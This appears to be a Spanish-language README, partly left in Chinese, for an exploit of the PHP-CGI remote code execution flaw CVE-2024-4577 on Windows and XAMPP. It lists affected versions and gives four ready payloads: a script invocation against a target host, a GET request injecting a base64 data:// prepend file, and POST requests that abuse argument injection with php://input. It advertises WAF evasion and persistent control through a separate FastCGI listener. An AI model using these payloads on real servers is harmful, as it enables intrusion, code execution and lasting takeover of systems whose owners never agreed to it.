CVE-2024-4577-PHP-RCE

Introducción al proyecto y principio

• El primer exploit del mundo que aprovecha el entorno predeterminado de PHP (XAMPP) para la vulnerabilidad RCE PHP-CGI CVE-2024-4577.
• El primer exploit del mundo para RCE PHP-CGI CVE-2024-4577 que utiliza el entorno predeterminado de PHP. Comparte el exploit original, soporta SSRF y soporta bypass de WAF.
• Consigue RCE en el entorno predeterminado de PHP. Principio: cgi.force_redirect + REDIRECT-STATUS.
• Nuevo exploit original, compatible con técnicas para escenarios de evasión de WAF. Principio: crear un servidor FastCGI + comunicación mediante el protocolo FastCGI.
• Nuevo exploit original, compatible con técnicas para escenarios SSRF. Principio: protocolo data:// + petición GET.

Ventajas del EXP 1

• No requiere allow_url_include, auto_prepend_file ni auto_append_file para lograr RCE. Puede incluir cualquier archivo y archivos PHP.
• No aparecen las palabras clave que el WAF suele bloquear: allow_url_include, auto_prepend_file, auto_append_file.
• Todas las comunicaciones del servidor FastCGI no serán registradas por el WAF.
• Escucha en un nuevo puerto, lo que permite un control persistente del servidor PHP, independiente de Apache y PHP.

Resumen de la vulnerabilidad

Información	Contenido
Nombre de la vulnerabilidad	PHP RCE
ID de la vulnerabilidad	CVE-2024-4577
Nivel de riesgo	Alto
Tipo de vulnerabilidad	RCE
Dificultad de explotación	Baja

Versiones afectadas

• PHP para Windows 8.3.0 <= versión afectada < 8.3.8
• PHP para Windows 8.2.0 <= versión afectada < 8.2.20
• PHP para Windows 8.1.0 <= versión afectada < 8.1.29
• PHP para Windows versión afectada == 8.0.x
• PHP para Windows versión afectada == 7.x
• PHP para Windows versión afectada == 5.x
• XAMPP para Windows 8.2.0 <= versión afectada <= 8.2.12
• XAMPP para Windows 8.1.0 <= versión afectada <= 8.1.25
• XAMPP para Windows versión afectada == 8.0.x
• XAMPP para Windows versión afectada == 7.x
• XAMPP para Windows versión afectada == 5.x

EXP 1

Puede utilizarse en escenarios de evasión de WAF + escenarios predeterminados:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Por ejemplo:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Puede utilizarse en escenarios SSRF + escenarios predeterminados:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Puede utilizarse en escenarios predeterminados:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Puede utilizarse en escenarios predeterminados:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproducción

1. Entorno del servidor:

XAMPP Windows版 8.2.12

2. Descargar e instalar XAMPP en el servidor:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Configuración del servidor

无需任何修改，保持默认配置

4. Uso del exploit en el cliente

使用上述EXP进行测试

5. Verificación

观察是否返回字符串 "TesT" 或者服务端system.ini文件内容